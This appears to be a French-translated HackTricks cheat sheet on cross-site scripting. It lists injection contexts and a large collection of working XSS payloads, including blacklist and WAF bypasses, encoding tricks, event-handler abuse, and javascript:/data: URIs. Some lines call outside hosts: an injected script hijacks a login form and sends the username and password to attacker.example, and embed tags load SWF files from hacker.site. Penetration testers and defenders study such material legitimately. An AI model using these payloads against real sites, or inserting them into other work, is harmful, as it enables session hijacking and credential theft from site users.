%.*s
XSS (Cross Site Scripting)
Reading time: 58 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Méthodologie
- Vérifiez si toute valeur que vous contrôlez (paramètres, path, headers?, cookies?) est réfléchie dans le HTML ou utilisée par du JS.
- Trouvez le contexte où elle est reflétée/utilisée.
- Si réfléchie
- Vérifiez quels symboles vous pouvez utiliser et en fonction de cela, préparez le payload :
- Dans HTML brut :
- Pouvez-vous créer de nouvelles balises HTML ?
- Pouvez-vous utiliser des events ou des attributs supportant le protocole
javascript:
? - Pouvez-vous bypasser les protections ?
- Le contenu HTML est-il interprété par un moteur JS côté client (AngularJS, VueJS, Mavo...) que vous pourriez abuser via un Client Side Template Injection ?
- Si vous ne pouvez pas créer de balises HTML qui exécutent du JS, pourriez-vous abuser d'un Dangling Markup - HTML scriptless injection ?
- À l'intérieur d'une balise HTML :
- Pouvez-vous sortir vers le contexte HTML brut ?
- Pouvez-vous créer de nouveaux events/attributs pour exécuter du JS ?
- L'attribut où vous êtes bloqué supporte-t-il l'exécution JS ?
- Pouvez-vous bypasser les protections ?
- À l'intérieur de code JavaScript :
- Pouvez-vous échapper la balise
<script>
? - Pouvez-vous échapper la chaîne et exécuter un JS différent ?
- Votre entrée est-elle dans des template literals `` ?
- Pouvez-vous bypasser les protections ?
- Une fonction JavaScript en exécution
- Vous pouvez indiquer le nom de la fonction à exécuter. ex :
?callback=alert(1)
- Si utilisée :
- Vous pourriez exploiter un DOM XSS, faites attention à la manière dont votre entrée est contrôlée et si votre entrée contrôlée est utilisée par un sink.
Lors du travail sur un XSS complexe, il peut être utile de connaître :
Reflected values
Pour exploiter avec succès un XSS, la première chose à trouver est une valeur contrôlée par vous qui est reflétée dans la page web.
- Intermediately reflected : Si vous constatez que la valeur d'un paramètre ou même du path est reflétée dans la page web, vous pourriez exploiter un Reflected XSS.
- Stored and reflected : Si vous trouvez qu'une valeur contrôlée par vous est sauvegardée sur le serveur et reflétée à chaque accès d'une page, vous pourriez exploiter un Stored XSS.
- Accessed via JS : Si vous trouvez qu'une valeur contrôlée par vous est accédée via JS, vous pourriez exploiter un DOM XSS.
Contexts
Lorsque vous essayez d'exploiter un XSS, la première chose à savoir est où votre entrée est reflétée. Selon le contexte, vous pourrez exécuter du code JS de différentes manières.
Raw HTML
Si votre entrée est reflétée dans le HTML brut de la page, vous devrez abuser d'une balise HTML pour exécuter du JS : <img , <iframe , <svg , <script
... ce ne sont que quelques-unes des nombreuses balises HTML possibles à utiliser.
Aussi, gardez en tête Client Side Template Injection.
Inside HTML tags attribute
Si votre entrée est reflétée à l'intérieur de la valeur d'un attribut d'une balise, vous pouvez essayer :
- De sortir de l'attribut et de la balise (puis vous serez dans le HTML brut) et créer une nouvelle balise HTML à abuser :
"><img [...]
- Si vous pouvez sortir de l'attribut mais pas de la balise (
>
est encodé ou supprimé), en fonction de la balise vous pourriez créer un event qui exécute du JS :" autofocus onfocus=alert(1) x="
- Si vous ne pouvez pas sortir de l'attribut (
"
est encodé ou supprimé), alors selon quel attribut contient votre valeur et si vous contrôlez toute la valeur ou juste une partie, vous pourrez en abuser. Par exemple, si vous contrôlez un event commeonclick=
vous pourrez le faire exécuter du code arbitraire au clic. Un autre exemple intéressant est l'attributhref
, où vous pouvez utiliser le protocolejavascript:
pour exécuter du code arbitraire :href="javascript:alert(1)"
- Si votre entrée est reflétée à l'intérieur de balises "non exploitables", vous pouvez essayer l'astuce
accesskey
pour abuser de la vuln (vous aurez besoin d'une forme d'ingénierie sociale pour exploiter ceci) :" accesskey="x" onclick="alert(1)" x="
Exemple étrange d'Angular exécutant un XSS si vous contrôlez un nom de classe :
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Dans le code JavaScript
Dans ce cas, votre entrée est reflétée entre les balises <script> [...] </script>
d'une page HTML, à l'intérieur d'un fichier .js
ou à l'intérieur d'un attribut utilisant le protocole javascript:
:
- Si elle est reflétée entre
<script> [...] </script>
tags, même si votre entrée est à l'intérieur de n'importe quel type de guillemets, vous pouvez essayer d'injecter</script>
et de sortir de ce contexte. Cela fonctionne parce que le navigateur analysera d'abord les balises HTML puis le contenu, donc il ne remarquera pas que votre balise</script>
injectée est à l'intérieur du code HTML. - Si elle est reflétée inside a JS string et que le dernier truc ne fonctionne pas, vous devrez exit la chaîne, execute votre code et reconstruct le code JS (s'il y a une erreur, il ne sera pas exécuté:
'-alert(1)-'
';-alert(1)//
\';alert(1)//
- Si elle est reflétée inside template literals vous pouvez embed JS expressions en utilisant la syntaxe
${ ... }
:var greetings = `Hello, ${alert(1)}`
- L'encodage Unicode permet d'écrire du code JavaScript valide :
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting fait référence à la possibilité de déclarer des fonctions, variables ou classes après leur utilisation afin d'abuser de scénarios où une XSS utilise des variables ou fonctions non déclarées.
Consultez la page suivante pour plus d'infos :
Javascript Function
Plusieurs pages web ont des endpoints qui acceptent en paramètre le nom de la fonction à exécuter. Un exemple courant vu en production est quelque chose comme : ?callback=callbackFunc
.
Un bon moyen de savoir si quelque chose fourni directement par l'utilisateur est tenté d'être exécuté est de modifier la valeur du param (par exemple en 'Vulnerable') et de regarder dans la console des erreurs comme :
Si c'est vulnérable, vous pourriez être capable de déclencher un alert juste en envoyant la valeur : ?callback=alert(1)
. Cependant, il est très courant que ces endpoints valident le contenu pour n'autoriser que des lettres, chiffres, points et underscores ([\w\._]
).
Cependant, même avec cette limitation il est toujours possible d'effectuer certaines actions. Ceci parce que vous pouvez utiliser ces caractères valides pour accéder à n'importe quel élément du DOM :
Quelques fonctions utiles pour cela :
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Vous pouvez aussi essayer de déclencher des fonctions Javascript directement : obj.sales.delOrders
.
Cependant, en général les endpoints qui exécutent la fonction indiquée sont des endpoints sans un DOM très intéressant, d'autres pages dans la même origine auront un DOM plus intéressant pour effectuer davantage d'actions.
Par conséquent, afin de abuser de cette vulnérabilité dans un DOM différent l'exploitation Same Origin Method Execution (SOME) a été développée :
SOME - Same Origin Method Execution
DOM
Il existe du code JS qui utilise de manière non sécurisée certaines données contrôlées par un attaquant comme location.href
. Un attaquant pourrait abuser de cela pour exécuter du code JS arbitraire.
Universal XSS
Ce type de XSS peut être trouvé n'importe où. Ils ne dépendent pas seulement de l'exploitation côté client d'une application web mais de tout contexte. Ce type d'exécution JavaScript arbitraire peut même être abusé pour obtenir des RCE, lire des fichiers arbitraires sur les clients et serveurs, et plus encore.
Quelques exemples :
Image d'encodage pour contournement WAF
Injection dans le HTML brut
Lorsque votre input est reflété dans la page HTML ou si vous pouvez échapper et injecter du code HTML dans ce contexte, la première chose à faire est de vérifier si vous pouvez abuser du caractère <
pour créer de nouvelles balises : essayez simplement de réfléter ce caractère et vérifiez s'il est encodé en HTML, supprimé ou s'il est reflété sans modification. Ce n'est que dans ce dernier cas que vous pourrez exploiter la vulnérabilité.
Pour ces cas, gardez également à l'esprit Client Side Template Injection.
Note : Un commentaire HTML peut être fermé en utilisant -->
ou --!>
Dans ce cas, et si aucune liste noire/liste blanche n'est utilisée, vous pouvez utiliser des payloads tels que :
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Mais, si un système de black/whitelisting des tags/attributs est utilisé, vous devrez brute-force quels tags vous pouvez créer.
Une fois que vous avez localisé quels tags sont autorisés, vous devrez brute-force les attributs/events à l'intérieur des tags valides trouvés pour voir comment attaquer le contexte.
Brute-force des Tags/Events
Allez sur https://portswigger.net/web-security/cross-site-scripting/cheat-sheet et cliquez sur Copy tags to clipboard. Ensuite, envoyez-les tous avec Burp intruder et vérifiez si certains tags n'ont pas été détectés comme malveillants par le WAF. Une fois que vous avez découvert quels tags vous pouvez utiliser, vous pouvez brute-force tous les events en utilisant les tags valides (sur la même page cliquez sur Copy events to clipboard et suivez la même procédure qu'auparavant).
Tags personnalisés
Si vous ne trouvez aucun tag HTML valide, vous pouvez essayer de créer un tag personnalisé et exécuter du code JS avec l'attribut onfocus
. Dans la requête XSS, vous devez terminer l'URL par #
pour faire en sorte que la page se focalise sur cet objet et exécute le code :
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
Si une sorte de blacklist est utilisée, vous pouvez essayer de la contourner avec quelques astuces simples :
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > D'autres payloads tiny XSS pour différents environnements se trouvent ici et ici.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
Le dernier utilise 2 caractères Unicode qui s'étendent en 5: telsr
D'autres de ces caractères peuvent être trouvés here.
Pour vérifier en quels caractères ils sont décomposés, consultez here.
Click XSS - Clickjacking
Si, pour exploiter la vulnérabilité, vous avez besoin que l'user clique sur un link ou un form avec des données préremplies, vous pouvez essayer de abuse Clickjacking (si la page est vulnérable).
Impossible - Dangling Markup
Si vous pensez simplement qu'il est impossible de créer un HTML tag avec un attribute pour exécuter JS code, vous devriez vérifier Danglig Markup car vous pourriez exploit la vulnérabilité sans exécuter JS code.
Injection à l'intérieur d'un HTML tag
À l'intérieur du tag/escaping from attribute value
Si vous êtes à l'intérieur d'un HTML tag, la première chose que vous pouvez essayer est de s'échapper du tag et d'utiliser certaines des techniques mentionnées dans la previous section pour exécuter du JS code.
Si vous ne pouvez pas vous échapper du tag, vous pourriez créer de nouveaux attributes à l'intérieur du tag pour tenter d'exécuter du JS code, par exemple en utilisant un payload comme (note que dans cet exemple double quotes sont utilisés pour échapper de l'attribute, vous n'en aurez pas besoin si votre input est reflété directement à l'intérieur du tag):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Événements de style
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Dans l'attribut
Même si vous ne pouvez pas échapper à l'attribut ("
est encodé ou supprimé), selon dans quel attribut votre valeur est reflétée et si vous contrôlez toute la valeur ou seulement une partie vous pourrez en abuser. Par exemple, si vous contrôlez un événement comme onclick=
vous pourrez lui faire exécuter du code arbitraire lorsqu'il est cliqué.\
Un autre exemple intéressant est l'attribut href
, où vous pouvez utiliser le protocole javascript:
pour exécuter du code arbitraire : href="javascript:alert(1)"
Bypass inside event using HTML encoding/URL encode
Les caractères encodés HTML à l'intérieur de la valeur des attributs des balises HTML sont décodés à l'exécution. Par conséquent, quelque chose comme ce qui suit sera valide (la payload est en gras) : <a id="author" href="http://none" onclick="var tracker='http://foo?
'-alert(1)-'
';">Go Back </a>
Notez que tout type d'encodage HTML est valide:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Notez que URL encode fonctionnera aussi :
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass à l'intérieur de l'event en utilisant Unicode encode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Protocoles spéciaux dans l'attribut
Là, vous pouvez utiliser les protocoles javascript:
ou data:
dans certains endroits pour exécuter du code JS arbitraire. Certains nécessiteront une interaction de l'utilisateur, d'autres non.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Endroits où vous pouvez injecter ces protocoles
En général le protocole javascript:
peut être utilisé dans n'importe quelle balise qui accepte l'attribut href
et dans la plupart des balises qui acceptent l'attribut src
(mais pas <img
)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Autres obfuscation tricks
Dans ce cas le HTML encoding et le Unicode encoding trick de la section précédente sont également valides car vous êtes à l'intérieur d'un attribut.
<a href="javascript:var a=''-alert(1)-''">
De plus, il y a une autre astuce intéressante pour ces cas : Même si votre entrée à l'intérieur de javascript:...
est encodée en URL, elle sera décodée en URL avant d'être exécutée. Ainsi, si vous devez vous échapper de la chaîne en utilisant un guillemet simple et que vous voyez qu'elle est encodée en URL, souvenez-vous que cela n'a pas d'importance, elle sera interprétée comme un guillemet simple pendant l'exécution.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Notez que si vous essayez d'utiliser à la fois URLencode + HTMLencode
dans n'importe quel ordre pour encoder la payload cela ne fonctionnera pas, mais vous pouvez les mélanger à l'intérieur de la payload.
Utiliser Hex et Octal encode avec javascript:
Vous pouvez utiliser Hex et Octal encode à l'intérieur de l'attribut src
d'un iframe
(au moins) pour déclarer des HTML tags pour exécuter du JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
Si vous pouvez injecter n'importe quelle URL dans une balise arbitraire <a href=
qui contient les attributs target="_blank" and rel="opener"
, consultez la page suivante pour exploiter ce comportement :
Contournement des gestionnaires d'événements "on"
Tout d'abord consultez cette page (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) pour des gestionnaires d'événements "on" utiles.
Si une blacklist vous empêche de créer ces gestionnaires d'événements, vous pouvez essayer les contournements suivants :
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS dans "Unexploitable tags" (hidden input, link, canonical, meta)
D'après here il est maintenant possible d'abuser des hidden inputs avec :
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
Et dans les meta tags:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Depuis here: Vous pouvez exécuter un XSS payload inside a hidden attribute, à condition de pouvoir convaincre la victim d'appuyer sur la combinaison de touches. Sur Firefox sous Windows/Linux la combinaison de touches est ALT+SHIFT+X et sur OS X elle est CTRL+ALT+X. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut access key. Voici le vecteur:
<input type="hidden" accesskey="X" onclick="alert(1)">
La charge XSS ressemblera à ceci : " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Plusieurs astuces utilisant des encodages différents ont déjà été présentées dans cette section. Retournez en arrière pour apprendre où vous pouvez utiliser :
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1)
- URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
Lisez la Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
Lisez la JavaScript bypass blacklist of the following section.
CSS-Gadgets
Si vous trouvez un XSS dans une très petite partie du site qui nécessite une interaction (par exemple un petit lien dans le footer avec un onmouseover), vous pouvez essayer de modifier l'espace occupé par cet élément pour maximiser les probabilités que le lien soit déclenché.
Par exemple, vous pourriez ajouter du style à l'élément comme : position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Mais, si le WAF filtre l'attribut style, vous pouvez utiliser des CSS Styling Gadgets, donc si vous trouvez, par exemple
.test {display:block; color: blue; width: 100%}
et
#someid {top: 0; font-family: Tahoma;}
Maintenant vous pouvez modifier notre lien et le rendre sous la forme
<a href="" id=someid class=test onclick=alert() a="">
Cette astuce provient de https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injection dans le code JavaScript
Dans ce cas votre input va être réfléchi à l'intérieur du code JS d'un fichier .js
ou entre des balises <script>...</script>
ou entre des événements HTML qui peuvent exécuter du code JS ou entre des attributs qui acceptent le protocole javascript:
.
Échapper la balise <script>
Si votre code est inséré dans <script> [...] var input = 'reflected data' [...] </script>
vous pouvez facilement échapper la fermeture de la balise <script>
:
</script><img src=1 onerror=alert(document.domain)>
Notez que dans cet exemple nous n'avons même pas fermé l'apostrophe. Cela s'explique par le fait que l'analyse HTML est effectuée en premier par le navigateur, qui consiste à identifier les éléments de la page, y compris les blocs de script. L'analyse du JavaScript pour comprendre et exécuter les scripts intégrés n'est effectuée qu'ensuite.
Dans le code JS
Si <>
sont assainis, vous pouvez quand même échapper la chaîne là où votre entrée est située et exécuter du JS arbitraire. Il est important de corriger la syntaxe JS, car s'il y a des erreurs, le code JS ne sera pas exécuté :
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Lorsque user input se retrouve à l'intérieur d'une quoted JavaScript string (p.ex., server-side echo dans un inline script), vous pouvez terminer la string, injecter du code et réparer la syntaxe pour que le parsing reste valide. Squelette générique :
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Exemple de modèle d'URL lorsque le paramètre vulnérable est reflété dans une chaîne JS :
?param=test";<INJECTION>;a="
Cela exécute du JS de l'attaquant sans avoir besoin de toucher le contexte HTML (pure JS-in-JS). Combinez avec les blacklist bypasses ci‑dessous lorsque des filtres bloquent des mots-clés.
Template literals ``
Pour construire des chaînes, en plus des guillemets simples et doubles, JS accepte aussi les backticks ``
. Cela s'appelle template literals car ils permettent d'inclure des expressions JS en utilisant la syntaxe ${ ... }
.\
Ainsi, si vous constatez que votre entrée est réfléchie dans une chaîne JS qui utilise des backticks, vous pouvez abuser de la syntaxe ${ ... }
pour exécuter du code JS arbitraire :
Ceci peut être exploité en utilisant:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Exécution de code encodée
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Payloads livrables avec eval(atob()) et nuances de portée
Pour garder les URLs plus courtes et contourner des filtres de mots-clés naïfs, vous pouvez encoder votre logique réelle en base64 et l'évaluer avec eval(atob('...'))
. Si un filtrage basique de mots-clés bloque des identifiants tels que alert
, eval
ou atob
, utilisez des identifiants échappés en Unicode qui se compilent de manière identique dans le navigateur mais échappent aux filtres basés sur la correspondance de chaînes :
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Nuance importante de portée : les const
/let
déclarés à l'intérieur de eval()
sont à portée de bloc et NE créent PAS de globals ; ils ne seront pas accessibles aux scripts ultérieurs. Utilisez un élément <script>
injecté dynamiquement pour définir des hooks globaux non réaffectables lorsque nécessaire (e.g., to hijack a form handler):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Référence: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode Encode JS execution
alert(1)
alert(1)
alert(1)
Techniques de bypass de blacklists en JavaScript
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Échappements spéciaux
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
Substitutions d'espaces dans le code JS
<TAB>
/**/
JavaScript comments (d'après JavaScript Comments trick)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
Sauts de ligne JavaScript (d'après JavaScript new line astuce)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript espaces blancs
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript dans un commentaire
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript sans parenthèses
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Appel de fonction arbitraire (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
